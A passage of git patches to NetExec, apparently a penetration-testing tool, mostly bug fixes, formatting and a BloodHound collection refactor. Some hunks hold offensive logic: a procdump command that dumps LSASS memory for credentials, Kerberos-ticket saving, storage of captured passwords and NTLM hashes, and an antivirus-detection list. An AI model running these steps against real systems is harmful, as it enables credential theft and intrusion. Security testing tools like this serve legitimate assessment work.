insertion(+), 1 deletion(-) diff --git a/nxc/modules/lsassy.py b/nxc/modules/lsassy.py index 86dfcb97b0..10746efa0c 100644 --- a/nxc/modules/lsassy.py +++ b/nxc/modules/lsassy.py @@ -187,7 +187,7 @@ def write_tickets(self, context, tickets, host): context.log.fail(f"Error writing ticket {filename}: {e}") if ticket_count > 0: - context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}") + context.log.success(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}") else: context.log.display("No tickets were saved") From 8a1fa2fb72fb81728436ddc5332e24bd807e5a0c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 14 Mar 2026 11:10:12 -0400 Subject: [PATCH 067/165] If retreiving lsass pid failed this would lead to a crash when trying to split the string --- nxc/modules/procdump.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index 933ef38d93..5bdde08d7f 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -66,6 +66,10 @@ def on_admin_login(self, context, connection): # get pid lsass context.log.display("Getting lsass PID") p = connection.execute('tasklist /v /fo csv | findstr /i "lsass"', True) + if not p: + context.log.fail("Error getting lsass.exe PID") + self.delete_procdump_binary(connection, context) + return pid = p.split(",")[1][1:-1] command = f"{self.tmp_dir}{self.procdump} -accepteula -ma {pid} {self.tmp_dir}%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp" context.log.display(f"Executing command {command}") From 6bb2d66239dca1a8ee82c69166d57e63c0d6dda9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 14 Mar 2026 11:13:25 -0400 Subject: [PATCH 068/165] Wording --- nxc/modules/procdump.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index 5bdde08d7f..3581a267ef 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -67,7 +67,7 @@ def on_admin_login(self, context, connection): context.log.display("Getting lsass PID") p = connection.execute('tasklist /v /fo csv | findstr /i "lsass"', True) if not p: - context.log.fail("Error getting lsass.exe PID") + context.log.fail("Failed getting lsass.exe PID") self.delete_procdump_binary(connection, context) return pid = p.split(",")[1][1:-1] From f94b1399a5c3e17c81631ed36bcadc671c96d45a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 14 Mar 2026 11:19:01 -0400 Subject: [PATCH 069/165] Prevent doing database stuff if we don't have a valid connection --- nxc/protocols/smb.py | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0d79c2192b..63219bae43 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -456,21 +456,22 @@ def plaintext_login(self, domain, username, password): if "Unix" not in self.server_os: self.check_if_admin() - if not self.is_guest and self.username: + # Only do database/bloodhound stuff if we don't have guest/null auth + valid_auth = not self.is_guest and self.username + if valid_auth: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) user_id = self.db.get_credential("plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) - - self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}") - - if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) - if self.admin_privs: + if self.admin_privs and valid_auth: self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}") self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + if not self.args.local_auth and valid_auth: + add_user_bh(self.username, self.domain, self.logger, self.config) + + self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}") # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.args.continue_on_success and self.signing: @@ -523,19 +524,20 @@ def hash_login(self, domain, username, ntlm_hash): if "Unix" not in self.server_os: self.check_if_admin() - if not self.is_guest and (self.username and self.hash): + # Only do database/bloodhound stuff if we don't have guest + valid_auth = not self.is_guest and self.username and self.hash + if valid_auth: self.db.add_credential("hash", domain, self.username, self.hash) user_id = self.db.get_credential("hash", domain, self.username, self.hash) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) - - self.logger.success(f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}") - - if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) - if self.admin_privs: + if self.admin_privs and valid_auth: self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id) add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + if not self.args.local_auth and valid_auth: + add_user_bh(self.username, self.domain, self.logger, self.config) + + self.logger.success(f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}") # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.args.continue_on_success and self.signing: From 65cc6728cadccc600232d6d23b07f5c04e6aeea8 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Sat, 14 Mar 2026 18:13:14 +0100 Subject: [PATCH 070/165] call is_host_dc() for dc_only CVEs and cache result --- nxc/modules/enum_cve.py | 3 ++- nxc/protocols/smb.py | 3 +++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 0cd007d0cf..9c705654f4 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -93,7 +93,7 @@ def on_login(self, context, connection): # Check each CVE for cve in self.CVE_PATCHES: if self.cve == "all" or self.cve.lower() == cve.lower(): - if self.CVE_PATCHES[cve].get("dc_only") and not connection.isdc: + if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc(): context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers") continue if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]): @@ -156,6 +156,7 @@ def on_login(self, context, connection): # https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/ "CVE-2025-54918": { "alias": "NTLM MIC Bypass", + "dc_only": True, "patches": { (6, 0, 6003): 23529, # Windows Server 2008 SP2 (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0d79c2192b..1f15fce0fb 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -741,6 +741,9 @@ def check_dc_ports(self, timeout=1): return open_ports >= 3 def is_host_dc(self): + if self.isdc is not None: + return self.isdc + from impacket.dcerpc.v5 import nrpc, epm self.logger.debug("Performing authentication attempts...") From a1cadc4d04e15b1b0931a376d0a5aa209e91527d Mon Sep 17 00:00:00 2001 From: P'tit Snake Date: Mon, 16 Mar 2026 15:12:56 +0100 Subject: [PATCH 071/165] Update enum_av.py enum_av module: add AVG / Avast indicator Signed-off-by: P'tit Snake --- nxc/modules/enum_av.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index 14e80e3d9d..0bca057379 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -485,6 +485,19 @@ def LsarLookupNames(self, dce, policyHandle, service): "pipes": [ {"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]} ] + }, + { + "name": "Avast / AVG", + "services": [ + {"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"}, + {"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"}, + {"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"}, + {"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"} + ], + "pipes": [ + {"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]}, + {"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]} + ] } ] } From 08e1b74417dd6671bb3bf0f6be2cf64afd748293 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 09:45:08 -0400 Subject: [PATCH 072/165] Add missing lm hash var --- nxc/protocols/mssql.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 895f6c6689..66395530e4 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -41,6 +41,7 @@ def __init__(self, args, db, host): self.server_os = None self.hash = None self.os_arch = None + self.lmhash = "" self.nthash = "" self.is_mssql = False From e4cb390fee18435da310e3a12a3df60bc41e9321 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 09:45:17 -0400 Subject: [PATCH 073/165] Formatting --- nxc/modules/mssql_cbt.py | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index 0fff6ffadb..e90c869dbe 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -22,22 +22,31 @@ def on_login(self, context, connection): self.logger.highlight("Local auth: CANNOT check Channel Binding Token configuration") return - ntlm_hash = f":{connection.nthash}" if connection.nthash else None - new_conn = tds.MSSQL(connection.host, connection.port, connection.conn.remoteName) new_conn.connect(connection.args.mssql_timeout) - if connection.kerberos: + if connection.kerberos: # noqa: SIM108 success = new_conn.kerberosLogin( - None, connection.username, connection.password, connection.targetDomain, - ntlm_hash, connection.aesKey, connection.kdcHost, - None, None, connection.use_kcache, + None, + connection.username, + connection.password, + connection.targetDomain, + f"{connection.lmhash}:{connection.nthash}", + connection.aesKey, + connection.kdcHost, + None, + None, + connection.use_kcache, cbt_fake_value=b"" ) else: success = new_conn.login( - None, connection.username, connection.password, connection.targetDomain, - ntlm_hash, not connection.args.local_auth, + None, + connection.username, + connection.password, + connection.targetDomain, + f"{connection.lmhash}:{connection.nthash}", + not connection.args.local_auth, cbt_fake_value=b"" ) From 1f9f9e3c49218e5069629be829ede1b1314bf65e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 09:46:22 -0400 Subject: [PATCH 074/165] Formatting --- nxc/modules/mssql_cbt.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index e90c869dbe..ed95a5941d 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -50,9 +50,8 @@ def on_login(self, context, connection): cbt_fake_value=b"" ) - self.logger.highlight( - "Connection successful: Channel Binding Token NOT REQUIRED" - if success else - "Connection failed: Channel Binding Token REQUIRED" - ) + if success: + self.logger.highlight("Connection successful: Channel Binding Token NOT REQUIRED") + else: + self.logger.highlight("Connection failed: Channel Binding Token REQUIRED") new_conn.disconnect() From d469fc62ffea7027dce62f41da1d2509855a4e82 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 09:53:14 -0400 Subject: [PATCH 075/165] Fix logging --- nxc/modules/mssql_cbt.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index ed95a5941d..facd6e7a66 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -10,9 +10,10 @@ class NXCModule: category = CATEGORY.ENUMERATION def options(self, context, module_options): - self.logger = context.log + """No options available""" def on_login(self, context, connection): + self.logger = context.log if not connection.encryption: self.logger.highlight("TLS not required: Channel Binding Token NOT REQUIRED") From b83e345ddc68592481ebb4219618cd5bb64ce55b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 09:54:19 -0400 Subject: [PATCH 076/165] Switch to Pennyw0rth impacket fork for fake cbt value --- poetry.lock | 13 ++++++------- pyproject.toml | 2 +- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/poetry.lock b/poetry.lock index 4f6ba8b2d0..55afcc8a12 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.2.1 and should not be changed by hand. [[package]] name = "aardwolf" @@ -993,7 +993,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.14.0.dev0+20251203.31101.caba5fac" +version = "0.14.0.dev0+20260317.95020.1049826e" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1011,14 +1011,13 @@ pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = "*" pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} -setuptools = "*" six = "*" [package.source] type = "git" -url = "https://github.com/fortra/impacket" +url = "https://github.com/Pennyw0rth/impacket" reference = "HEAD" -resolved_reference = "caba5facdd3a01b5d0decc6daf5871839f22f792" +resolved_reference = "1049826efbc556221cca17f94e9fd0b944b8c600" [[package]] name = "iniconfig" @@ -2187,7 +2186,7 @@ version = "75.8.1" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.9" -groups = ["main", "dev"] +groups = ["dev"] files = [ {file = "setuptools-75.8.1-py3-none-any.whl", hash = "sha256:3bc32c0b84c643299ca94e77f834730f126efd621de0cc1de64119e0e17dab1f"}, {file = "setuptools-75.8.1.tar.gz", hash = "sha256:65fb779a8f28895242923582eadca2337285f0891c2c9e160754df917c3d2530"}, @@ -2613,4 +2612,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "b25390c3a761b0c374a68e53c836ef07fd0a3abb3efbe8a4bcb4f2d3dae1c159" +content-hash = "718c14748a4156f5b4e1f5403f831badccd9c49c1ffff58b6c04889c4e98ad9f" diff --git a/pyproject.toml b/pyproject.toml index f03162a3ad..34a42d6f02 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -45,7 +45,7 @@ dependencies = [ "xmltodict>=0.13.0", # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", - "impacket @ git+https://github.com/fortra/impacket", + "impacket @ git+https://github.com/Pennyw0rth/impacket", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From bc1efe1237007be97ee3e508ba4ff966305bc812 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 10:06:02 -0400 Subject: [PATCH 077/165] Formatting --- nxc/modules/mssql_cbt.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index facd6e7a66..63733cda1f 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -2,8 +2,8 @@ from nxc.helpers.misc import CATEGORY -# Module writtent by @Defte_ class NXCModule: + """Module written by @Defte_""" name = "mssql_cbt" description = "Checks whether Channel Binding is enabled on the MSSQL database" supported_protocols = ["mssql"] From 29b4012d7e6f3f784d6580a0e5a67f1f71300193 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 10:06:47 -0400 Subject: [PATCH 078/165] Fix lock file --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index 698b090cdc..4e0567e769 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2612,4 +2612,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "718c14748a4156f5b4e1f5403f831badccd9c49c1ffff58b6c04889c4e98ad9f" +content-hash = "adf1a0cd7cd7db43773249ed3556026c0630d1ee2a04d8596d7612953e629961" From 11bb8fb36b7a22957913a5ba2ab8a2f2e385b549 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 12:06:03 -0400 Subject: [PATCH 079/165] Move import --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8d205b1eda..a688b8131a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -18,6 +18,7 @@ from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD +from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter from impacket.dcerpc.v5.samr import ( UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, @@ -48,7 +49,6 @@ from nxc.parsers.ldap_results import parse_result_attributes from nxc.helpers.ntlm_parser import parse_challenge from nxc.paths import CONFIG_PATH -from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", From 7999b77165f47ffa7cdeef8da5f131f1b2095e80 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 12:11:47 -0400 Subject: [PATCH 080/165] Move bh collection method logic out of ldap proto --- nxc/protocols/ldap.py | 80 ++------------------------------ nxc/protocols/ldap/bloodhound.py | 76 +++++++++++++++++++++++++++++- 2 files changed, 78 insertions(+), 78 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index a688b8131a..9ec28fa043 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -42,8 +42,8 @@ from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import get_bloodhound_info, convert, d2b -from nxc.logger import NXCAdapter, nxc_logger -from nxc.protocols.ldap.bloodhound import BloodHound +from nxc.logger import NXCAdapter +from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes @@ -66,80 +66,6 @@ } -def resolve_collection_methods(methods): - """Convert methods (string) to list of validated methods to resolve""" - valid_methods = [ - "group", - "localadmin", - "session", - "trusts", - "default", - "all", - "loggedon", - "objectprops", - "experimental", - "acl", - "dcom", - "rdp", - "psremote", - "dconly", - "container", - "adcs", - ] - default_methods = ["group", "localadmin", "session", "trusts", "adcs"] - # Similar to SharpHound, All includes everything including LoggedOn and ADCS - all_methods = [ - "group", - "localadmin", - "session", - "trusts", - "loggedon", - "objectprops", - "acl", - "dcom", - "rdp", - "psremote", - "container", - "adcs", - ] - # DC only, does not collect to computers - dconly_methods = ["group", "trusts", "objectprops", "acl", "container"] - if "," in methods: - method_list = [method.lower() for method in methods.split(",")] - validated_methods = [] - for method in method_list: - if method not in valid_methods: - nxc_logger.error("Invalid collection method specified: %s", method) - return False - - if method == "default": - validated_methods += default_methods - elif method == "all": - validated_methods += all_methods - elif method == "dconly": - validated_methods += dconly_methods - else: - validated_methods.append(method) - return set(validated_methods) - else: - validated_methods = [] - # It is only one - method = methods.lower() - if method in valid_methods: - if method == "default": - validated_methods += default_methods - elif method == "all": - validated_methods += all_methods - elif method == "dconly": - validated_methods += dconly_methods - else: - validated_methods.append(method) - return set(validated_methods) - else: - nxc_logger.error("Invalid collection method specified: %s", method) - return False - - class ldap(connection): def __init__(self, args, db, host): self.domain = None @@ -1630,7 +1556,7 @@ def ldap_to_filetime(ldap_time): break # Only process first policy result def bloodhound(self): - collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) + collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection, self.logger) if not collect: return self.logger.highlight("Resolved collection methods: " + ", ".join(sorted(collect))) diff --git a/nxc/protocols/ldap/bloodhound.py b/nxc/protocols/ldap/bloodhound.py index 14109de4e0..e786d84e98 100644 --- a/nxc/protocols/ldap/bloodhound.py +++ b/nxc/protocols/ldap/bloodhound.py @@ -107,4 +107,78 @@ def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", file computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix) end_time = time.time() minutes, seconds = divmod(int(end_time - start_time), 60) - self.logger.highlight(f"Done in {minutes}M {seconds}S") + self.logger.highlight(f"Bloodhound data collection completed in {minutes}M {seconds}S") + + +def resolve_collection_methods(methods, logger): + """Convert methods (string) to list of validated methods to resolve""" + valid_methods = [ + "group", + "localadmin", + "session", + "trusts", + "default", + "all", + "loggedon", + "objectprops", + "experimental", + "acl", + "dcom", + "rdp", + "psremote", + "dconly", + "container", + "adcs", + ] + default_methods = ["group", "localadmin", "session", "trusts", "adcs"] + # Similar to SharpHound, All includes everything including LoggedOn and ADCS + all_methods = [ + "group", + "localadmin", + "session", + "trusts", + "loggedon", + "objectprops", + "acl", + "dcom", + "rdp", + "psremote", + "container", + "adcs", + ] + # DC only, does not collect to computers + dconly_methods = ["group", "trusts", "objectprops", "acl", "container"] + if "," in methods: + method_list = [method.lower() for method in methods.split(",")] + validated_methods = [] + for method in method_list: + if method not in valid_methods: + logger.error("Invalid collection method specified: %s", method) + return False + + if method == "default": + validated_methods += default_methods + elif method == "all": + validated_methods += all_methods + elif method == "dconly": + validated_methods += dconly_methods + else: + validated_methods.append(method) + return set(validated_methods) + else: + validated_methods = [] + # It is only one + method = methods.lower() + if method in valid_methods: + if method == "default": + validated_methods += default_methods + elif method == "all": + validated_methods += all_methods + elif method == "dconly": + validated_methods += dconly_methods + else: + validated_methods.append(method) + return set(validated_methods) + else: + logger.error("Invalid collection method specified: %s", method) + return False From a0573a6dd56f6b198ee635254589e3c78eaae5e3 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 12:16:33 -0400 Subject: [PATCH 081/165] Simplify resolving logic --- nxc/protocols/ldap/bloodhound.py | 48 ++++++++++---------------------- 1 file changed, 15 insertions(+), 33 deletions(-) diff --git a/nxc/protocols/ldap/bloodhound.py b/nxc/protocols/ldap/bloodhound.py index e786d84e98..48dfb1a37f 100644 --- a/nxc/protocols/ldap/bloodhound.py +++ b/nxc/protocols/ldap/bloodhound.py @@ -148,37 +148,19 @@ def resolve_collection_methods(methods, logger): ] # DC only, does not collect to computers dconly_methods = ["group", "trusts", "objectprops", "acl", "container"] - if "," in methods: - method_list = [method.lower() for method in methods.split(",")] - validated_methods = [] - for method in method_list: - if method not in valid_methods: - logger.error("Invalid collection method specified: %s", method) - return False - - if method == "default": - validated_methods += default_methods - elif method == "all": - validated_methods += all_methods - elif method == "dconly": - validated_methods += dconly_methods - else: - validated_methods.append(method) - return set(validated_methods) - else: - validated_methods = [] - # It is only one - method = methods.lower() - if method in valid_methods: - if method == "default": - validated_methods += default_methods - elif method == "all": - validated_methods += all_methods - elif method == "dconly": - validated_methods += dconly_methods - else: - validated_methods.append(method) - return set(validated_methods) - else: + + validated_methods = [] + for method in [method.lower() for method in methods.split(",")]: + if method not in valid_methods: logger.error("Invalid collection method specified: %s", method) - return False + return [], [] + + if method == "default": + validated_methods += default_methods + elif method == "all": + validated_methods += all_methods + elif method == "dconly": + validated_methods += dconly_methods + else: + validated_methods.append(method) + return set(validated_methods), [] From aecad76f0b396a70a5cf0652cd477a2a0ace82f4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 12:21:05 -0400 Subject: [PATCH 082/165] Simplify resolving logic --- nxc/protocols/ldap.py | 9 ++------- nxc/protocols/ldap/bloodhound.py | 2 +- 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9ec28fa043..8cf8229943 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1556,16 +1556,11 @@ def ldap_to_filetime(ldap_time): break # Only process first policy result def bloodhound(self): - collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection, self.logger) + collect, excluded = resolve_collection_methods("Default" if not self.args.collection else self.args.collection, self.logger) if not collect: return self.logger.highlight("Resolved collection methods: " + ", ".join(sorted(collect))) - - # Display which collection methods were not selected - all_collectible = {"group", "localadmin", "session", "trusts", "loggedon", "objectprops", "acl", "dcom", "rdp", "psremote", "container", "adcs"} - excluded = sorted(all_collectible - collect) - if excluded: - self.logger.highlight("Excluded collection methods: " + ", ".join(excluded)) + self.logger.highlight("Excluded collection methods: " + ", ".join(sorted(excluded))) # Check which BloodHound version is desired use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) diff --git a/nxc/protocols/ldap/bloodhound.py b/nxc/protocols/ldap/bloodhound.py index 48dfb1a37f..5faa2262ea 100644 --- a/nxc/protocols/ldap/bloodhound.py +++ b/nxc/protocols/ldap/bloodhound.py @@ -163,4 +163,4 @@ def resolve_collection_methods(methods, logger): validated_methods += dconly_methods else: validated_methods.append(method) - return set(validated_methods), [] + return set(validated_methods), set(all_methods) - set(validated_methods) From fa2679208b16934286d79d3feb0f7ada9cfe4a6c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 12:30:35 -0400 Subject: [PATCH 083/165] Formatting --- nxc/protocols/ldap.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8cf8229943..009ad83174 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1599,15 +1599,14 @@ def bloodhound(self): self.logger.fail("pipx inject netexec bloodhound --force") return - # Separate ADCS from bloodhound-python methods - bh_collect = {m for m in collect if m != "adcs"} - need_bloodhound_python = len(bh_collect) > 0 - timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_" adcs_files = [] + # Separate ADCS from bloodhound-python methods + bh_collect = {m for m in collect if m != "adcs"} + # Run bloodhound-python collection if needed - if need_bloodhound_python: + if len(bh_collect) > 0: auth = ADAuthentication( username=self.username, password=self.password, @@ -1711,9 +1710,7 @@ def _collect_adcs_for_bloodhound(self, timestamp): # Write individual JSON files adcs_files = [] - output = result.to_dict() - - for node_type, content in output.items(): + for node_type, content in result.to_dict().items(): filename = f"{timestamp}{node_type}.json" with open(filename, "w") as f: json.dump(content, f) From ab88315f1d01f8f49c48903829040401b1beb872 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 13:20:25 -0400 Subject: [PATCH 084/165] Formatting --- nxc/modules/get-scriptpath.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/nxc/modules/get-scriptpath.py b/nxc/modules/get-scriptpath.py index d446ae1c7a..f3bedf9c80 100644 --- a/nxc/modules/get-scriptpath.py +++ b/nxc/modules/get-scriptpath.py @@ -14,7 +14,6 @@ class NXCModule: supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION - def options(self, context, module_options): """ FILTER Apply the FILTER (grep-like) (default: '') @@ -22,10 +21,10 @@ def options(self, context, module_options): """ self.FILTER = "" self.OUTPUTFILE = None - + if "FILTER" in module_options: self.FILTER = module_options["FILTER"] - + if "OUTPUTFILE" in module_options: self.OUTPUTFILE = module_options["OUTPUTFILE"] @@ -54,13 +53,13 @@ def on_login(self, context, connection): context.log.warning("No results found after filtering.") def filter_answer(self, context, answers): - # No filter + # No filter if not self.FILTER: context.log.debug("No filter option enabled") return answers # Filter context.log.debug(f"Filter info field with: {self.FILTER}") - return [answer for answer in answers if self.FILTER in answer[0]] + return [answer for answer in answers if self.FILTER in answer[0]] def save_to_file(self, context, answers): """Save the results to a JSON file.""" @@ -72,6 +71,6 @@ def save_to_file(self, context, answers): with open(self.OUTPUTFILE, "w") as f: json.dump(json_data, f, indent=4) context.log.success(f"Results successfully saved to {self.OUTPUTFILE}") - + except Exception as e: context.log.error(f"Failed to save results to file: {e}") From f4967a68370572551cf42850f95928dd0a94e766 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 14:35:11 -0400 Subject: [PATCH 085/165] Formatting --- nxc/modules/get-scriptpath.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/nxc/modules/get-scriptpath.py b/nxc/modules/get-scriptpath.py index f3bedf9c80..7e50157f8e 100644 --- a/nxc/modules/get-scriptpath.py +++ b/nxc/modules/get-scriptpath.py @@ -16,17 +16,17 @@ class NXCModule: def options(self, context, module_options): """ - FILTER Apply the FILTER (grep-like) (default: '') + FILTER Apply the FILTER (grep-like) (default: '') OUTPUTFILE Path to a file to save the results (default: None) """ - self.FILTER = "" - self.OUTPUTFILE = None + self.filter = "" + self.outputfile = None if "FILTER" in module_options: - self.FILTER = module_options["FILTER"] + self.filter = module_options["FILTER"] if "OUTPUTFILE" in module_options: - self.OUTPUTFILE = module_options["OUTPUTFILE"] + self.outputfile = module_options["OUTPUTFILE"] def on_login(self, context, connection): # Building the search filter @@ -47,19 +47,19 @@ def on_login(self, context, connection): context.log.highlight(f"User: {answer[0]:<20} ScriptPath: {answer[1]}") # Save the results to a file - if self.OUTPUTFILE: + if self.outputfile: self.save_to_file(context, answers) else: context.log.warning("No results found after filtering.") def filter_answer(self, context, answers): # No filter - if not 